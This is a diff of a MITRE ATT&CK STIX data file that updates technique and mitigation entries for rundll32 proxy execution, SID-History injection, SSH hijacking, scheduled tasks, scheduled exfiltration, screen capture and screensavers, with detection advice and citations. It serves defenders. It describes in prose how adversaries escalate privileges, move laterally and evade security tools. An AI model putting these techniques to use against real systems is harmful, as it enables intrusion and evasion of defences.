+            "description": "The rundll32.exe program can be called to execute an arbitrary binary. Adversaries may take advantage of this functionality to proxy execution of code to avoid triggering security tools that may not monitor execution of the rundll32.exe process because of whitelists or false positives from Windows using rundll32.exe for normal operations.\n\nRundll32.exe can also be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions <code>Control_RunDLL</code> and <code>Control_RunDLLAsUser</code>. Double-clicking a .cpl file also causes rundll32.exe to execute. (Citation: Trend Micro CPL)\n\nDetection: Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity. Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Binary file metadata, Process command-line parameters, Process monitoring\n\nDefense Bypassed: Anti-virus, Application whitelisting\n\nPermissions Required: User\n\nRemote Support: No\n\nContributors: Ricardo Dias",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -10955,6 +11612,11 @@
                     "source_name": "mitre-attack",
                     "url": "https://attack.mitre.org/wiki/Technique/T1085",
                     "external_id": "T1085"
+                },
+                {
+                    "source_name": "Trend Micro CPL",
+                    "description": "Merces, F. (2014). CPL Malware Malicious Control Panel Items. Retrieved November 1, 2017.",
+                    "url": "https://www.trendmicro.de/cloud-content/us/pdfs/security-intelligence/white-papers/wp-cpl-malware.pdf"
                 }
             ],
             "object_marking_refs": [
@@ -10966,6 +11628,9 @@
                 "Process command-line parameters",
                 "Process monitoring"
             ],
+            "x_mitre_contributors": [
+                "Ricardo Dias"
+            ],
             "x_mitre_defense_bypassed": [
                 "Anti-virus",
                 "Application whitelisting"
@@ -10973,30 +11638,198 @@
             "x_mitre_permissions_required": [
                 "User"
             ],
+            "x_mitre_remote_support": false,
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
+                "Windows"
+            ]
+        },
+        {
+            "type": "course-of-action",
+            "id": "course-of-action--b91c2f9e-c1a0-44df-95f0-9e7c9d1d5e55",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "SID-History Injection Mitigation",
+            "description": "Clean up SID-History attributes after legitimate account migration is complete.\n\nApply SID Filtering to domain trusts to exclude SID-History from requests to access domain resources (<code>netdom trust <TrustingDomainName> /domain:<TrustedDomainName> /quarantine:yes</code> (Citation: Microsoft Netdom Trust Sept 2012) on the domain controller). Domain SID Filtering is disabled by default.\n\nApply SID Filtering to forest trusts to exclude SID-History from request to access forest resources (<code>netdom trust <TrustingDomainName> /domain:<TrustedDomainName> /EnableSIDHistory:no</code> (Citation: Microsoft Netdom Trust Sept 2012) on the domain controller). Forest SID Filtering is active by default, but may block child domains from transitively accessesing the forest trust.\n\nEnsure SID Filter Quarantining is enabled on trusted external domains (<code>netdom trust <TrustingDomainName> /domain:<TrustedDomainName> /quarantine</code> (Citation: Microsoft Netdom Trust Sept 2012) on the domain controller) to ensure authentication requests only include SIDs from that domain. SID Filter Quarantining is automatically enabled on all created external trusts using Server 2003 or later domain controllers. (Citation: Microsoft Trust Considerations Nov 2014) (Citation: Microsoft SID) Filtering Quarantining Jan 2009",
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1178",
+                    "external_id": "T1178"
+                },
+                {
+                    "source_name": "Microsoft SID",
+                    "description": "Microsoft. (n.d.). Security Identifiers. Retrieved November 30, 2017.",
+                    "url": "https://msdn.microsoft.com/library/windows/desktop/aa379571.aspx"
+                },
+                {
+                    "source_name": "Microsoft Netdom Trust Sept 2012",
+                    "description": "Microsoft. (2012, September 11). Command-Line Reference - Netdom Trust. Retrieved November 30, 2017.",
+                    "url": "https://technet.microsoft.com/library/cc835085.aspx"
+                },
+                {
+                    "source_name": "Microsoft Trust Considerations Nov 2014",
+                    "description": "Microsoft. (2014, November 19). Security Considerations for Trusts. Retrieved November 30, 2017.",
+                    "url": "https://technet.microsoft.com/library/cc755321.aspx"
+                }
+            ]
+        },
+        {
+            "type": "attack-pattern",
+            "id": "attack-pattern--1df0326d-2fbc-4d08-a16b-48365f1e742d",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "SID-History Injection",
+            "description": "The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID)-History Attribute, allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).\n\nAdversaries may use this mechanism for privilege escalation. With Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as Remote Services, Windows Admin Shares, or Windows Remote Management.\n\nDetection: Examine data in user\u2019s SID-History attributes using the PowerShell Get-ADUser Cmdlet (Citation: Microsoft Get-ADUser), especially users who have SID-History values from the same domain. (Citation: AdSecurity SID History Sept 2015)\n\nMonitor Account Management events on Domain Controllers for successful and failed changes to SID-History. (Citation: AdSecurity SID History Sept 2015)  (Citation: Microsoft DsAddSidHistory)\n\nMonitor Windows API calls to the <code>DsAddSidHistory</code> function. (Citation: Microsoft DsAddSidHistory)\n\nPlatforms: Windows\n\nData Sources: API monitoring, Authentication logs, Windows event logs\n\nPermissions Required: Administrator, SYSTEM\n\nContributors: Vincent Le Toux",
+            "kill_chain_phases": [
+                {
+                    "kill_chain_name": "mitre-attack",
+                    "phase_name": "privilege-escalation"
+                }
             ],
-            "x_mitre_remote_support": false
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1178",
+                    "external_id": "T1178"
+                },
+                {
+                    "source_name": "Microsoft SID",
+                    "description": "Microsoft. (n.d.). Security Identifiers. Retrieved November 30, 2017.",
+                    "url": "https://msdn.microsoft.com/library/windows/desktop/aa379571.aspx"
+                },
+                {
+                    "source_name": "Microsoft Well Known SIDs Jun 2017",
+                    "description": "Microsoft. (2017, June 23). Well-known security identifiers in Windows operating systems. Retrieved November 30, 2017.",
+                    "url": "https://support.microsoft.com/help/243330/well-known-security-identifiers-in-windows-operating-systems"
+                },
+                {
+                    "source_name": "Microsoft Get-ADUser",
+                    "description": "Microsoft. (n.d.). Active Directory Cmdlets - Get-ADUser. Retrieved November 30, 2017.",
+                    "url": "https://technet.microsoft.com/library/ee617241.aspx"
+                },
+                {
+                    "source_name": "AdSecurity SID History Sept 2015",
+                    "description": "Metcalf, S. (2015, September 19). Sneaky Active Directory Persistence #14: SID History. Retrieved November 30, 2017.",
+                    "url": "https://adsecurity.org/?p=1772"
+                },
+                {
+                    "source_name": "Microsoft DsAddSidHistory",
+                    "description": "Microsoft. (n.d.). Using DsAddSidHistory. Retrieved November 30, 2017.",
+                    "url": "https://msdn.microsoft.com/library/ms677982.aspx"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_contributors": [
+                "Vincent Le Toux"
+            ],
+            "x_mitre_data_sources": [
+                "API monitoring",
+                "Authentication logs",
+                "Windows event logs"
+            ],
+            "x_mitre_permissions_required": [
+                "Administrator",
+                "SYSTEM"
+            ],
+            "x_mitre_platforms": [
+                "Windows"
+            ]
+        },
+        {
+            "type": "course-of-action",
+            "id": "course-of-action--41cff8e9-fd05-408e-b3d5-d98c54c20bcf",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "SSH Hijacking Mitigation",
+            "description": "Ensure SSH key pairs have strong passwords and refrain from using key-store technologies such as ssh-agent unless they are properly protected. Ensure that all private keys are stored securely in locations where only the legitimate owner has access to with strong passwords and are rotated frequently. Ensure proper file permissions are set and harden system to prevent root privilege escalation opportunities. Do not allow remote access via SSH as root or other privileged accounts. Ensure that agent forwarding is disabled on systems that do not explicitly require this feature to prevent misuse. (Citation: Symantec SSH and ssh-agent)",
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1184",
+                    "external_id": "T1184"
+                },
+                {
+                    "source_name": "Symantec SSH and ssh-agent",
+                    "description": "Hatch, B. (2004, November 22). SSH and ssh-agent. Retrieved January 8, 2018.",
+                    "url": "https://www.symantec.com/connect/articles/ssh-and-ssh-agent"
+                }
+            ]
+        },
+        {
+            "type": "attack-pattern",
+            "id": "attack-pattern--c1b11bf7-c68e-4fbf-a95b-28efbe7953bb",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-16T16:13:52.465Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "SSH Hijacking",
+            "description": "Secure Shell (SSH) is a standard means of remote access on Linux and Mac systems. It allows a user to connect to another system via an encrypted tunnel, commonly authenticating through a password, certificate or the use of an asymmetric encryption key pair.\n\nIn order to move laterally from a compromised host, adversaries may take advantage of trust relationships established with other systems via public key authentication in active SSH sessions by hijacking an existing connection to another system. This may occur through compromising the SSH agent itself or by having access to the agent's socket. If an adversary is able to obtain root access, then hijacking SSH sessions is likely trivial. (Citation: Slideshare Abusing SSH) (Citation: SSHjack Blackhat) (Citation: Clockwork SSH Agent Hijacking) Compromising the SSH agent also provides access to intercept SSH credentials. (Citation: Welivesecurity Ebury SSH)\n\nSSH Hijacking differs from use of Remote Services because it injects into an existing SSH session rather than creating a new session using Valid Accounts.\n\nDetection: Use of SSH may be legitimate, depending upon the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with SSH. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. Also monitor user SSH-agent socket files being used by different users.\n\nPlatforms: Linux, macOS\n\nData Sources: Authentication logs\n\nPermissions Required: User, root\n\nSystem Requirements: SSH service enabled, trust relationships configured, established connections\n\nContributors: Anastasios Pingios",
+            "kill_chain_phases": [
+                {
+                    "kill_chain_name": "mitre-attack",
+                    "phase_name": "lateral-movement"
+                }
+            ],
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1184",
+                    "external_id": "T1184"
+                },
+                {
+                    "source_name": "Slideshare Abusing SSH",
+                    "description": "Duarte, H., Morrison, B. (2012). (Mis)trusting and (ab)using ssh. Retrieved January 8, 2018.",
+                    "url": "https://www.slideshare.net/morisson/mistrusting-and-abusing-ssh-13526219"
+                },
+                {
+                    "source_name": "SSHjack Blackhat",
+                    "description": "Adam Boileau. (2005, August 5). Trust Transience:  Post Intrusion SSH Hijacking. Retrieved December 19, 2017.",
+                    "url": "https://www.blackhat.com/presentations/bh-usa-05/bh-us-05-boileau.pdf"
+                },
+                {
+                    "source_name": "Clockwork SSH Agent Hijacking",
+                    "description": "Beuchler, B. (2012, September 28). SSH Agent Hijacking. Retrieved December 20, 2017.",
+                    "url": "https://www.clockwork.com/news/2012/09/28/602/ssh%20agent%20hijacking"
+                },
+                {
+                    "source_name": "Welivesecurity Ebury SSH",
+                    "description": "M.L\u00e9veill\u00e9, M. (2014, February 21). An In-depth Analysis of Linux/Ebury. Retrieved January 8, 2018.",
+                    "url": "https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/"
+                }
+            ],
+            "object_marking_refs": [
+                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
+            ],
+            "x_mitre_contributors": [
+                "Anastasios Pingios"
+            ],
+            "x_mitre_data_sources": [
+                "Authentication logs"
+            ],
+            "x_mitre_platforms": [
+                "Linux",
+                "macOS"
+            ],
+            "x_mitre_permissions_required": [
+                "User",
+                "root"
+            ],
+            "x_mitre_system_requirements": [
+                "SSH service enabled, trust relationships configured, established connections"
+            ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--f2cb6ce2-188d-4162-8feb-594f949b13dd",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Scheduled Task Mitigation",
-            "description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create scheduled tasks. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for permission weaknesses in scheduled tasks that could be used to escalate privileges. (Citation: Powersploit)\n\nIdentify and block unnecessary system utilities or potentially malicious software that may be used to schedule tasks using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
+            "description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create scheduled tasks. Toolkits like the PowerSploit framework contain PowerUp modules that can be used to explore systems for permission weaknesses in scheduled tasks that could be used to escalate privileges. (Citation: Powersploit)\n\nConfigure settings for scheduled tasks to force tasks to run under the context of the authenticated account instead of allowing them to run as SYSTEM. The associated Registry key is located at <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\SubmitControl</code>. The setting can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > Security Options: Domain Controller: Allow server operators to schedule tasks, set to disabled. (Citation: TechNet Server Operator Scheduled Task)\n\nConfigure the Increase Scheduling Priority option to only allow the Administrators group the rights to schedule a priority process. This can be can be configured through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Increase scheduling priority. (Citation: TechNet Scheduling Priority)\n\nIdentify and block unnecessary system utilities or potentially malicious software that may be used to schedule tasks using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
                 {
                     "source_name": "mitre-attack",
@@ -11028,6 +11861,16 @@
                     "description": "Microsoft. (2012, June 27). Using Software Restriction Policies and AppLocker Policies. Retrieved April 7, 2016.",
                     "url": "https://technet.microsoft.com/en-us/library/ee791851.aspx"
                 },
+                {
+                    "source_name": "TechNet Scheduling Priority",
+                    "description": "Microsoft. (2013, May 8). Increase scheduling priority. Retrieved December 18, 2017.",
+                    "url": "https://technet.microsoft.com/library/dn221960.aspx"
+                },
+                {
+                    "source_name": "TechNet Server Operator Scheduled Task",
+                    "description": "Microsoft. (2012, November 15). Domain controller: Allow server operators to schedule tasks. Retrieved December 18, 2017.",
+                    "url": "https://technet.microsoft.com/library/jj852168.aspx"
+                },
                 {
                     "source_name": "Windows Commands JPCERT",
                     "description": "Tomonaga, S. (2016, January 26). Windows Commands Abused by Attackers. Retrieved February 2, 2016.",
@@ -11040,9 +11883,9 @@
             "id": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:46.977Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Scheduled Task",
-            "description": "Utilities such as at and schtasks, along with the Windows Task Scheduler, can be used to schedule programs or scripts to be executed at a date and time. The account used to create the task must be in the Administrators group on the local system. A task can also be scheduled on a remote system, provided the proper authentication is met to use RPC and file and printer sharing is turned on. (Citation: TechNet Task Scheduler Security)\n\nAn adversary may use task scheduling to execute programs at system startup or on a scheduled basis for persistence, to conduct remote Execution as part of Lateral Movement, to gain SYSTEM privileges, or to run a process under the context of a specified account.\n\nDetection: Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Monitor process execution from the Windows Task Scheduler <code>taskeng.exe</code>. If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in <code>%systemroot%\\System32\\Tasks</code> for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns) Look for changes to tasks that do not correlate with known software, patch cycles, etc. Suspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data.\n\nMonitor processes and command-line arguments for actions that could be taken to create tasks. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Windows 10\n\nData Sources: File monitoring, Process command-line parameters, Process monitoring\n\nEffective Permissions: Administrator, SYSTEM\n\nPermissions Required: Administrator, SYSTEM\n\nRemote Support: Yes",
+            "description": "Utilities such as at and schtasks, along with the Windows Task Scheduler, can be used to schedule programs or scripts to be executed at a date and time. The account used to create the task must be in the Administrators group on the local system. A task can also be scheduled on a remote system, provided the proper authentication is met to use RPC and file and printer sharing is turned on. (Citation: TechNet Task Scheduler Security)\n\nAn adversary may use task scheduling to execute programs at system startup or on a scheduled basis for persistence, to conduct remote Execution as part of Lateral Movement, to gain SYSTEM privileges, or to run a process under the context of a specified account.\n\nDetection: Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Monitor process execution from the <code>svchost.exe</code> in Windows 10 and the Windows Task Scheduler <code>taskeng.exe</code> for older versions of Windows. (Citation: Twitter Leoloobeek Scheduled Task) If scheduled tasks are not used for persistence, then the adversary is likely to remove the task when the action is complete. Monitor Windows Task Scheduler stores in <code>%systemroot%\\System32\\Tasks</code> for change entries related to scheduled tasks that do not correlate with known software, patch cycles, etc. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nConfigure event logging for scheduled task creation and changes by enabling the \"Microsoft-Windows-TaskScheduler/Operational\" setting within the event logging service. (Citation: TechNet Forum Scheduled Task Operational Setting) Several events will then be logged on scheduled task activity, including: (Citation: TechNet Scheduled Task Events)\n\n*Event ID 106 - Scheduled task registered\n*Event ID 140 - Scheduled task updated\n*Event ID 141 - Scheduled task removed\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current scheduled tasks. (Citation: TechNet Autoruns) Look for changes to tasks that do not correlate with known software, patch cycles, etc. Suspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data.\n\nMonitor processes and command-line arguments for actions that could be taken to create tasks. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Tasks may also be created through Windows system management tools such as Windows Management Instrumentation and PowerShell, so additional logging may need to be configured to gather the appropriate data.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Process command-line parameters, Process monitoring, Windows event logs\n\nEffective Permissions: Administrator, SYSTEM\n\nPermissions Required: Administrator, SYSTEM\n\nRemote Support: Yes\n\nContributors: Travis Smith, Tripwire, Leo Loobeek, @leoloobeek",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -11068,19 +11911,39 @@
                     "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.",
                     "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902"
                 },
+                {
+                    "source_name": "TechNet Forum Scheduled Task Operational Setting",
+                    "description": "Satyajit321. (2015, November 3). Scheduled Tasks History Retention settings. Retrieved December 12, 2017.",
+                    "url": "https://social.technet.microsoft.com/Forums/en-US/e5bca729-52e7-4fcb-ba12-3225c564674c/scheduled-tasks-history-retention-settings?forum=winserver8gen"
+                },
+                {
+                    "source_name": "TechNet Scheduled Task Events",
+                    "description": "Microsoft. (n.d.). General Task Registration. Retrieved December 12, 2017.",
+                    "url": "https://technet.microsoft.com/library/dd315590.aspx"
+                },
                 {
                     "source_name": "TechNet Task Scheduler Security",
                     "description": "Microsoft. (2005, January 21). Task Scheduler and security. Retrieved June 8, 2016.",
                     "url": "https://technet.microsoft.com/en-us/library/cc785125.aspx"
+                },
+                {
+                    "source_name": "Twitter Leoloobeek Scheduled Task",
+                    "description": "Loobeek, L. (2017, December 8). leoloobeek Status. Retrieved December 12, 2017.",
+                    "url": "https://twitter.com/leoloobeek/status/939248813465853953"
                 }
             ],
             "object_marking_refs": [
                 "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
             ],
+            "x_mitre_contributors": [
+                "Travis Smith, Tripwire",
+                "Leo Loobeek, @leoloobeek"
+            ],
             "x_mitre_data_sources": [
                 "File monitoring",
                 "Process command-line parameters",
-                "Process monitoring"
+                "Process monitoring",
+                "Windows event logs"
             ],
             "x_mitre_effective_permissions": [
                 "Administrator",
@@ -11090,28 +11953,17 @@
                 "Administrator",
                 "SYSTEM"
             ],
+            "x_mitre_remote_support": true,
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
-                "Windows 10"
-            ],
-            "x_mitre_remote_support": true
+                "Windows"
+            ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--1c0711c8-2a73-48a1-893d-ff88bcd23824",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Scheduled Transfer Mitigation",
             "description": "Network intrusion detection and prevention systems that use network signatures to identify traffic for specific adversary command and control infrastructure and malware can be used to mitigate activity at the network level. Signatures are often for unique indicators within protocols and may be based on the specific obfuscation technique used by a particular adversary or tool, and will likely be different across various malware families and versions. Adversaries will likely change tool command and control signatures over time or construct protocols in such a way to avoid detection by common defensive tools. (Citation: University of Birmingham C2)",
             "external_references": [
@@ -11132,9 +11984,9 @@
             "id": "attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:30:34.139Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Scheduled Transfer",
-            "description": "Data exfiltration may be performed only at certain times of day or at certain intervals.  This could be done to blend traffic patterns with normal activity or availability.\n\nWhen scheduled exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over Command and Control Channel and Exfiltration Over Alternative Protocol.\n\nDetection: Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious. Network connections to the same destination that occur at the same time of day for multiple days are suspicious.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: Netflow/Enclave netflow, Process use of network, Process monitoring\n\nRequires Network: Yes",
+            "description": "Data exfiltration may be performed only at certain times of day or at certain intervals.  This could be done to blend traffic patterns with normal activity or availability.\n\nWhen scheduled exfiltration is used, other exfiltration techniques likely apply as well to transfer the information out of the network, such as Exfiltration Over Command and Control Channel and Exfiltration Over Alternative Protocol.\n\nDetection: Monitor process file access patterns and network behavior. Unrecognized processes or scripts that appear to be traversing file systems and sending network traffic may be suspicious. Network connections to the same destination that occur at the same time of day for multiple days are suspicious.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Netflow/Enclave netflow, Process use of network, Process monitoring\n\nRequires Network: Yes",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -11158,29 +12010,17 @@
             ],
             "x_mitre_network_requirements": true,
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
             ]
         },
         {
             "type": "course-of-action",
             "id": "course-of-action--51b37302-b844-4c08-ac98-ae6955ed1f55",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
-            "created": "2017-12-14T16:55:59.600Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Screen Capture Mitigation",
             "description": "Blocking software based on screen capture functionality may be difficult, and there may be legitimate software that performs those actions. Instead, identify potentially malicious software that may have functionality to acquire screen captures, and audit and/or block it by using whitelisting (Citation: Beechey 2010) tools, like AppLocker, (Citation: Windows Commands JPCERT) (Citation: NSA MS AppLocker) or Software Restriction Policies (Citation: Corio 2008) where appropriate. (Citation: TechNet Applocker vs SRP)",
             "external_references": [
@@ -11221,9 +12061,9 @@
             "id": "attack-pattern--0259baeb-9f63-4c69-bf10-eb038c390688",
             "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
             "created": "2017-05-31T21:31:25.060Z",
-            "modified": "2017-12-14T16:55:59.600Z",
+            "modified": "2018-01-17T12:56:55.080Z",
             "name": "Screen Capture",
-            "description": "Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations.\n\n===Mac===\n\nOn OSX, the native command <code>screencapture</code> is used to capture screenshots.\n\n===Linux===\n\nOn Linux, there is the native command <code>xwd</code>. (Citation: Antiquated Mac Malware)\n\nDetection: Monitoring for screen capture behavior will depend on the method used to obtain data from the operating system and write output files. Detection methods could include collecting information from unusual processes using API calls used to obtain image data, and monitoring for image files written to disk. The sensor data may need to be correlated with other events to identify malicious activity, depending on the legitimacy of this behavior within a given network environment.\n\nPlatforms: Windows Server 2003, Windows Server 2008, Windows Server 2012, Windows XP, Windows 7, Windows 8, Windows Server 2003 R2, Windows Server 2008 R2, Windows Server 2012 R2, Windows Vista, Windows 8.1, Linux, Windows 10, MacOS, OS X\n\nData Sources: API monitoring, Process monitoring, File monitoring",
+            "description": "Adversaries may attempt to take screen captures of the desktop to gather information over the course of an operation. Screen capturing functionality may be included as a feature of a remote access tool used in post-compromise operations.\n\n===Mac===\n\nOn OSX, the native command <code>screencapture</code> is used to capture screenshots.\n\n===Linux===\n\nOn Linux, there is the native command <code>xwd</code>. (Citation: Antiquated Mac Malware)\n\nDetection: Monitoring for screen capture behavior will depend on the method used to obtain data from the operating system and write output files. Detection methods could include collecting information from unusual processes using API calls used to obtain image data, and monitoring for image files written to disk. The sensor data may need to be correlated with other events to identify malicious activity, depending on the legitimacy of this behavior within a given network environment.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: API monitoring, Process monitoring, File monitoring",
             "kill_chain_phases": [
                 {
                     "kill_chain_name": "mitre-attack",
@@ -11251,29 +12091,88 @@
                 "File monitoring"
             ],
             "x_mitre_platforms": [
-                "Windows Server 2003",
-                "Windows Server 2008",
-                "Windows Server 2012",
-                "Windows XP",
-                "Windows 7",
-                "Windows 8",
-                "Windows Server 2003 R2",
-                "Windows Server 2008 R2",
-                "Windows Server 2012 R2",
-                "Windows Vista",
-                "Windows 8.1",
                 "Linux",
-                "Windows 10",
-                "MacOS",
-                "OS X"
+                "macOS",
+                "Windows"
+            ]
+        },
+        {
+            "type": "course-of-action",
+            "id": "course-of-action--9da16278-c6c5-4410-8a6b-9c16ce8005b3",
+            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
+            "created": "2018-01-17T12:56:55.080Z",
+            "modified": "2018-01-17T12:56:55.080Z",
+            "name": "Screensaver Mitigation",
+            "description": "Block .scr files from being executed from non-standard locations. Set Group Policy to force users to have a dedicated screensaver where local changes should not override the settings to prevent changes. Use Group Policy to disable screensavers if they are unnecessary. (Citation: TechNet Screensaver GP)",
+            "external_references": [
+                {
+                    "source_name": "mitre-attack",
+                    "url": "https://attack.mitre.org/wiki/Technique/T1180",
+                    "external_id": "T1180"
+                },
+                {
+                    "source_name": "TechNet Screensaver GP",
+                    "description": "Microsoft. (n.d.). Customizing the Desktop. Retrieved December 5, 2017.",
+                    "url": "https://technet.microsoft.com/library/cc938799.aspx"
+                }
+            ]
+        },
+        {
